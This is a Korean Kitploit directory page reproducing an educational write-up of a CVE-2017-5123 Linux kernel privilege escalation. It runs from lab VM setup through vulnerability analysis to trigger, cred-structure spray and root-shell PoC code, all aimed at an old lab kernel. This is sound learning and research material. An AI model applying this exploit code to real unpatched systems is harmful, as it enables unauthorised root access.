Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-5123 — PoC CVE-2017-5123 - LPE - SMEP/SMAP 우회. KASLR 없음 | Kitploit
도구/GitHubGitHub/c3r34lk1ll3r/cve-2017-5123
Privilege EscalationExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubc3r34lk1ll3r/cve-2017-5123

CVE-2017-5123

PoC CVE-2017-5123 - LPE - SMEP/SMAP 우회. KASLR 없음

저장소 보기
3346년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2017-5123

PoC CVE-2017-5123 - LPE - SMEP/SMAP 우회. KASLR 없음

업스트림 커널의 waitid 구현은 정보 결과를 복사할 대상 목적지를 제한하지 않았습니다. 이로 인해 로컬 사용자가 보호된 커널 메모리에 쓸 수 있어 권한 상승으로 이어질 수 있습니다.

소개

이 간단한 분석에서는 root 권한을 얻을 수 있는 커널 취약점을 분석하겠습니다.

이 문서는 네 부분으로 구성됩니다:

  1. VM 설정;
  2. 취약점 분석;
  3. 익스플로잇;
  4. PoC.

이 CVE를 익스플로잇하는 더 좋은 방법이 많다는 점을 지적하고 싶습니다(실제로 이것은 커널 학습을 위한 _PoC_일 뿐이며 _실전_에서는 사용할 수 없습니다). 하지만 이 방법론이 커널 익스플로잇 입문에 유용할 수 있다고 생각합니다.

VM 설정

커널 빌드

이 취약점은 _4c48abe91be0_에서 도입되었으므로 해당 버전의 커널을 빌드해야 합니다.

이것은 오래된 버전이고 코드에 패치가 필요하기 때문에 약간 까다로울 수 있습니다. 이미 패치된 커널 코드가 있는 저장소와 .config 파일을 만들었으므로 _클론하고 빌드_할 수 있습니다.

root@kitploit:~
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse

참고: 이 커널은 virtio 드라이버로 빌드되므로 VM과 파일을 공유하기 위해 _virtio 디스크_를 사용할 수 있습니다.

Rootfs 설정

이제 초기 _rootfs_를 생성합니다:

root@kitploit:~
qemu-img create -f raw hda.raw 10G
# Format the disk to ext4
mkfs.ext4 ./hda.raw 
# Make a mountpoint for the image
mkdir /tmp/mount1
# Mount the disk
sudo mount -o loop ./hda.raw /tmp/mount1

그런 다음 기본 Linux 배포판을 설치해야 합니다. 예를 들어 pacstrap 또는 debootstrap을 사용합니다.

root@kitploit:~
sudo pacstrap /tmp/mount1 base base-devel vim

마지막으로 시스템을 수정합니다:

root@kitploit:~
# Add a 'test' user
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# without password
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow 
# we can mount a virtio disk in order to share files between host and guest
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared 
# It is usefull to have sudo permission
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group

sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1

모든 것이 정상이면 _qemu_로 테스트 시스템을 시험해볼 수 있습니다:

root@kitploit:~
qemu-system-x86_64 \
    -kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
    -hda ./hda.raw \
    -m 4G \
    -cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
    -smp 4 \
    -vga virtio \
    -enable-kvm \
    -nographic \
    -machine type=q35,accel=kvm \
    -virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
    -append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
    -chardev "vc,id=vc.0,cols=1920,rows=1080" \
    -net "user,hostfwd=tcp::10022-:22" \
    -net "nic" \
    -s

취약점

CVE 설명에 따르면 waitid 시스템 호출 중에 제한되지 않은 쓰기 작업이 있습니다.

kernel/exit.c를 열고 코드를 봅시다:

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
		infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;
    user_access_begin();
    unsafe_put_user(signo, &infop->si_signo, Efault);
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

이 함수는 매우 간단합니다. 몇 가지 검사 후 unsafe_put_user(...)에 대한 여러 호출이 있고 함수가 반환됩니다.

이 함수의 주요 부분은 unsafe_put_user(...) 함수로 구성되어 있으므로 (arch/x86/include/asm/uaccess.h)로 이동합니다:

root@kitploit:~
/*
 * The "unsafe" user accesses aren't really "unsafe", but the naming
 * is a big fat warning: you have to not only do the access_ok()
 * checking before using them, but you have to surround them with the
 * user_access_begin/end() pair.
 */
#define user_access_begin()	__uaccess_begin()
#define user_access_end()	__uaccess_end()

#define unsafe_put_user(x, ptr, err_label)					\
do {										\
    int __pu_err;								\
    __typeof__(*(ptr)) __pu_val = (x);					\
    __put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT);	\
    if (unlikely(__pu_err)) goto err_label;					\
} while (0)

#define unsafe_get_user(x, ptr, err_label)					\
do {										\
    int __gu_err;								\  
    __inttype(*(ptr)) __gu_val;						\
    __get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT);	\
    (x) = (__force __typeof__(*(ptr)))__gu_val;				\
    if (unlikely(__gu_err)) goto err_label;					\
} while (0)

주석에는 크고 뚱뚱한 경고가 있습니다: unsafe_put/get_user를 사용하려면 먼저 access_ok()를 호출하고 user_access_begin/end()로 감싸야 합니다.

이전 코드(waitid)를 살펴보면 access_ok()가 호출되지 않았으므로 시스템 호출이 이 _경고_를 _위반_합니다.

하지만 그 매크로들은 무엇일까요?

SMAP/SMEP

_SMAP_와 _SMEP_는 익스플로잇 작성을 어렵게 하기 위해 커널에 도입된 두 가지 보안 기능입니다. 이 기능들은 CPU에 의해 강제된다는 점에 유의하십시오.

_SMEP_는 CPU가 수퍼바이저 모드에 있을 때 사용자 공간 코드를 실행하는 것을 방지합니다. 반면 _SMAP_는 사용자 메모리에 대한 읽기/쓰기 액세스를 차단합니다.

커널은 사용자 메모리에 데이터를 쓰거나 읽어야 하며, 이는 두 가지 방법으로 수행할 수 있습니다:

  1. 커널 공간에서 메모리를 복사할 수 있는 함수(예: copy_from_user)가 있습니다.
  2. 일시적으로 _SMAP_를 비활성화합니다.

unsafe_put_user의 정의에서 볼 수 있듯이 이 함수는 ptr이 가리키는 메모리에 x의 값만 복사합니다(오류가 있으면 err_label로 점프). 우리는 SMAP 때문에 커널이 사용자 공간에 액세스할 수 없다고 말했으며, 이것이 바로 이러한 함수들이 user_access_begin/end()로 감싸져야 하는 이유입니다.

root@kitploit:~
#define __uaccess_begin() stac()
#define __uaccess_end()   clac()

기본적으로 이 두 매크로는 _SMAP_를 활성화/비활성화합니다.

이전의 "경고"는 access_ok 함수도 언급합니다:

root@kitploit:~
/**
 * access_ok: - Checks if a user space pointer is valid
 * @type: Type of access: %VERIFY_READ or %VERIFY_WRITE.  Note that
 *        %VERIFY_WRITE is a superset of %VERIFY_READ - if it is safe
 *        to write to a block, it is always safe to read from it.
 * @addr: User space pointer to start of block to check
 * @size: Size of block to check
 *
 * Context: User context only. This function may sleep if pagefaults are
 *          enabled.
 *
 * Checks if a pointer to a block of memory in user space is valid.
 *
 * Returns true (nonzero) if the memory block may be valid, false (zero)
 * if it is definitely invalid.
 *
 * Note that, depending on architecture, this function probably just
 * checks that the pointer is in the user space range - after calling
 * this function, memory access functions may still return -EFAULT.
 */
#define access_ok(type, addr, size)					\
({									\
	WARN_ON_IN_IRQ();						\
	likely(!__range_not_ok(addr, size, user_addr_max()));		\
})

여기서 주석은 자명합니다: 이 매크로는 포인터가 유효한 사용자 공간 포인터인지 확인합니다.

임의 쓰기

waitid 코드를 다시 살펴보겠습니다:

root@kitploit:~
	user_access_begin();
	unsafe_put_user(signo, &infop->si_signo, Efault);
	unsafe_put_user(0, &infop->si_errno, Efault);
	unsafe_put_user(info.cause, &infop->si_code, Efault);
	unsafe_put_user(info.pid, &infop->si_pid, Efault);
	unsafe_put_user(info.uid, &infop->si_uid, Efault);
	unsafe_put_user(info.status, &infop->si_status, Efault);
	user_access_end();

이미 짐작하셨겠지만, access_ok()의 부재로 인해 infop 포인터가 공격자에 의해 완전히 제어되므로 메모리 어디에나 _임의 쓰기_가 가능합니다.

버그 트리거

취약한 경로에 도달하는 것은 매우 쉬우며, 이 간단한 코드로 _트리거_를 만들 수 있습니다:

root@kitploit:~
int thread_ready;
int die_thread(void *arg){
    thread_ready=1;
    syscall(__NR_sched_yield);
    return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
  printf("[0] Trying to overwrite 0x%016lx\r", where);
  //int pid = fork(); // It is also possible to use fork syscall
  thread_ready = 0; 
  int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
  int err;
  while(thread_ready == 0) {syscall(__NR_sched_yield);} // We should wait the thread
  err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);   
  return err;
}

이 간단한 코드는 취약점을 트리거하고 where 주소가 가리키는 메모리에 씁니다.

이 트리거를 확인하려면 _gdb_를 사용할 수 있습니다. 예를 들어, 임의의 주소를 선택하고 trigger_bug 함수를 사용하여 덮어쓸 수 있습니다.

익스플로잇

이 취약점은 다양한 방식으로 익스플로잇될 수 있지만 저는 매우 간단한 접근 방식을 선호합니다.

어디든 원하는 곳에 쓸 수 있지만 쓰여진 데이터는 부분적으로 제어됩니다. 주소를 0으로 덮어쓸 수 있습니다.

기본 아이디어는 프로세스의 _UID_를 덮어써서 _root_가 되는 것이지만, 먼저 Linux에서 자격 증명(credentials)이 무엇인지 이해해야 합니다.

Fork

fork 시스템 호출을 파헤치는 것으로 시작합니다. 이 함수는 새 프로세스를 만드는 데 사용됩니다.

kernel/fork.c에서 코드를 확인할 수 있습니다:

root@kitploit:~
SYSCALL_DEFINE0(fork)
{
	return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}

따라서 fork 시스템 호출은 단순히 하드코딩된 매개변수를 가진 _do_fork의 래퍼입니다.

이 마지막 함수는 조금 길지만 다음과 같이 요약할 수 있습니다:

root@kitploit:~
long _do_fork(unsigned long clone_flags,
	      unsigned long stack_start,
	      unsigned long stack_size,
	      int __user *parent_tidptr,
	      int __user *child_tidptr,
	      unsigned long tls)
{
	struct task_struct *p;
	int trace = 0;
	long nr;
  ......

  // This will create another task struct but it will NOT start the process. 
	p = copy_process(clone_flags, stack_start, stack_size,
			 child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
	add_latent_entropy();
  ......
    // Wake up the new created task. This will set in RUNNING the state of the task and enqueue in the running queue code
		wake_up_new_task(p);
  ......
		put_pid(pid);
	} else {
		nr = PTR_ERR(p);
	}
	return nr;
}

이 함수는 새로운 task_struct 객체를 할당합니다. 이 구조체는 매우 중요하지만(프로세스를 설명함), 우리는 cred 필드에 주목하겠습니다:

root@kitploit:~
...
	/* Process credentials: */
	/* Tracer's credentials at attach: */
	const struct cred __rcu		*ptracer_cred;

	/* Objective and real subjective task credentials (COW): */
	const struct cred __rcu		*real_cred;

	/* Effective (overridable) subjective task credentials (COW): */
	const struct cred __rcu		*cred;
  ...

보시다시피 struct cred에 대한 (세 개의) 포인터가 있습니다. 이 구조체가 어떻게 구성되어 있는지 (include/linux/cred.h) 봅시다:

root@kitploit:~
struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
  ......

보시다시피 프로세스의 _UID_는 단순히 _unsigned integer_입니다(_kuid_t_의 정의를 따름). 따라서 이 값을 0으로 덮어써서 _root_가 될 수 있습니다.

Copy_process

task_struct 구조체는 copy_process 함수에서 할당됩니다. 이 함수는 약간 복잡하며 주요 목표는 프로세스를 새 프로세스로 '복사'하는 것입니다.

다음과 같이 정의된 copy_creds(p, clone_flags)에 초점을 맞출 수 있습니다:

root@kitploit:~
/*
 * Copy credentials for the new process created by fork()
 *
 * We share if we can, but under some circumstances we have to generate a new
 * set.
 *
 * The new process gets the current process's subjective credentials as its
 * objective and subjective credentials
 */
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
	struct cred *new;
	int ret;

	if (
#ifdef CONFIG_KEYS
		!p->cred->thread_keyring &&
#endif
		clone_flags & CLONE_THREAD
	    ) {
		p->real_cred = get_cred(p->cred);
		get_cred(p->cred);
		alter_cred_subscribers(p->cred, 2);
		kdebug("share_creds(%p{%d,%d})",
		       p->cred, atomic_read(&p->cred->usage),
		       read_cred_subscribers(p->cred));
		atomic_inc(&p->cred->user->processes);
		return 0;
	}

	new = prepare_creds();
	if (!new)
		return -ENOMEM;

	if (clone_flags & CLONE_NEWUSER) {
		ret = create_user_ns(new);
		if (ret < 0)
			goto error_put;
	}

.........

error_put:
	put_cred(new);
	return ret;
}

보시다시피 이 함수는 실제 할당이 수행되는 prepare_creds를 호출합니다.

이제 (의사)임의의 수의 _struct cred_를 할당할 수 있는 경로가 있습니다:

  1. _do_fork()
  2. copy_process()
  3. copy_creds()

마지막 문제는 사용자 공간에서 _do_fork()를 호출하는 방법입니다. fork를 사용할 수 있지만 느릴 수 있으므로 대신 clone을 사용하겠습니다.

참고: 플래그 때문에 pthread를 사용할 수 없습니다. copy_creds 코드를 보면 구조체가 실제로 할당되지 않는 경로가 있다는 것을 알 수 있습니다.

모두 종합하기

이제 잠시 요약하겠습니다:

  1. 버그를 트리거하고 메모리에 쓸 수 있습니다.
  2. 메모리에 0을 쓸 수 있다는 것을 알고 있습니다.
  3. 한 프로세스의 _UID_를 0으로 덮어쓰면 root 권한을 얻는다는 것을 알고 있습니다.

이제 메모리의 어디에 써야 하는지 알아야 합니다. KASLR이 비활성화되어 있지만, 하나의 struct cred 주소는 충분히 안정적이지 않으므로 _메모리 스프레이_를 진행하기로 결정했습니다.

스프레이

주소 범위를 감지하기 위해 메모리에서 struct cred를 찾아야 합니다. 이와 같은 스크립트로 _gdb_와 _python_을 사용할 수 있습니다:

root@kitploit:~
....
for task in task_lists():
    #gdb.write("{address} {pid} {comm}\n".format(
    #    address=task,
    #    pid=task["pid"],
    #    comm=task["comm"].string()))
    comm = task["comm"].string()
    # Insert your executable name
    if comm == "exploit":
        print(task['cred'])
....

참고: 이 스크립트는 KASLR이 비활성화된 경우와 디버그 심볼이 있는 경우에만 작동합니다(init_task 포인터가 필요함).

몇 번 시도해보면 힙이 아래로 자라는 것을 볼 수 있으므로 낮은 주소부터 시도한 다음 높은 주소로 올라갈 수 있습니다.

이제 clone 시스템 호출을 사용하여 많은 프로세스를 생성하고 gdb 덕분에 주소를 확인할 수 있습니다:

root@kitploit:~
stack=malloc(STACK_SIZE)+STACK_SIZE;
  for(x=0;x<MAX_THREADS;x++){
    stackTop = malloc(STACK_SIZE) + STACK_SIZE;
    if (!stackTop){
      perror("[-] Malloc");
      return -1;
    }
    // spray_thread function can simply be a infinite loop
    pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
    if (pid == -1){
      perror("\n\nCLONE");
      return -1;
    }
    printf("[0] Process created: %d\r", x);
    }

참고: 4k 이상의 프로세스를 생성하지 못할 수도 있습니다. 이 경우 ulimits을 확인하세요.

PoC

마지막으로 _PoC_를 작성할 수 있습니다.

구조체를 검색하면서 다른 주소로 trigger_bug를 호출하고, 그동안 생성된 스레드가 _UID_를 확인하면 됩니다. 예를 들면 다음과 같습니다:

root@kitploit:~
struct shared_area{
  int one_win;
};
struct shared_area glob_var;

// Sprayed thread
int spray_thread(void *arg){
  int uid;
  int previous_one = syscall(__NR_getuid);
  // Loop over syscall getUID
  while(1){
    uid = syscall(__NR_getuid);
    //printf("UID: %d\n",uid);
    // If returned UID is different from the previous one, then we have hitted a struct cred area
    if (uid != previous_one){
      printf("WIN!! with %d", uid);
      // Kill other treads in order to stabilize the system
      glob_var.one_win = 1;
      // Simply spawn a shell
      system("/bin/sh");
    }
    if(glob_var.one_win == 1)
      return 1;
  }
  return 0;
}

구조체를 맞출 확률은 50%이므로 몇 번 실행하면 root 권한을 얻을 수 있습니다.

Root

결론

이것은 (기본적인) _PoC_이며 스프레이는 완벽하지 않습니다. 이것은 단지 커널의 놀라운 세계에 대한 '소개'일 뿐이며, 제가 건너뛴 많은 개념들이 있지만(예: 메모리 관리) 매우 중요합니다. 더 깊이 공부하고 싶다면 prepare_creds와 메모리 할당을 살펴보세요.

KASLR이 비활성화되어 있지만 이 취약점은 이 완화 조치도 우회할 수 있습니다(unsafe_put_user는 잘못된 주소로 충돌하지 않음). 하지만 커널을 배우는 것이 목표라면 무차별 대입(bruteforcing)의 새로운 '계층'을 추가하는 것이 유용하다고 생각하지 않습니다. 이 취약점을 _실전_에서 사용하려면 다른 익스플로잇을 작성해야 합니다(적어도 다른 스프레이는 필요합니다).

생각할 거리: 이 취약점을 사용하여 ret2dir 기법을 이해하고 시도했습니다(힌트: 별칭 주소에 쓰기를 트리거하고 사용자 공간 주소로 수정 내용을 읽을 수 있습니다).

참고 자료

  • https://salls.github.io/Linux-Kernel-CVE-2017-5123/
  • https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html
도구 다운로드